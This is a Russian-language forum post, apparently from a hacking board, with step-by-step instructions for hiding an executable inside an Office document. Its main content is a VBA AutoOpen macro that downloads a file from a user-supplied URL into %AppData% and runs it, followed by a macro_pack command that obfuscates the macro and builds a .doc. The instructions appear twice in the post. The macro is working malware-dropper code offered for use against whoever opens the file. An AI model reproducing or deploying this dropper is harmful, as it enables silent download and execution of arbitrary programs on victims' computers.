Torsten
Опытный user
- Регистрация
- 7 Ноя 2021
- Сообщения
- 961
- Реакции
- 114
Сегодня хочу поделиться с вами способом склейки любого exe'шника с документами офиса (doc, docm, xls и т. д.)
Нам понадобиться несколько вещей:
САМ СКРИПТ
В любой папке создаём файл с разрешение .vba
Далее открываем текстовый редактор и вставляем код
* В код я вставил exe'шник с putty
Следующим шагом запускаем cmd и пишем следующую команду
macro_pack.exe -f ваш_vba_макрос -o -G конечный_файл.doc
После выполнения команды
Всё готово теперь можно проверять!
Открываем наш конечный файл, включаем содержимое и наслаждаемся
Нам понадобиться несколько вещей:
- VBA скрипт
- Программа Macro_Pack (ищите на github)
- Microsoft Office
- Прямая ссылка на ваш файл
САМ СКРИПТ
Код:
Sub AutoOpen()
Application.ScreenUpdating = False
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "ССЫЛКА НА ВАШ ФАЙЛ", False
xHttp.Send
Dim j As String
j = Environ("AppData")
With bStrm
.Type = 1
.Open
.write xHttp.responseBody
.savetofile j & "\ВАШ EXE", 2 '//overwrite
End With
Shell (j & "\ВАШ EXE")
Application.ScreenUpdating = True
End Sub
В любой папке создаём файл с разрешение .vba
Далее открываем текстовый редактор и вставляем код
* В код я вставил exe'шник с putty
Следующим шагом запускаем cmd и пишем следующую команду
macro_pack.exe -f ваш_vba_макрос -o -G конечный_файл.doc
После выполнения команды
Всё готово теперь можно проверять!
Открываем наш конечный файл, включаем содержимое и наслаждаемся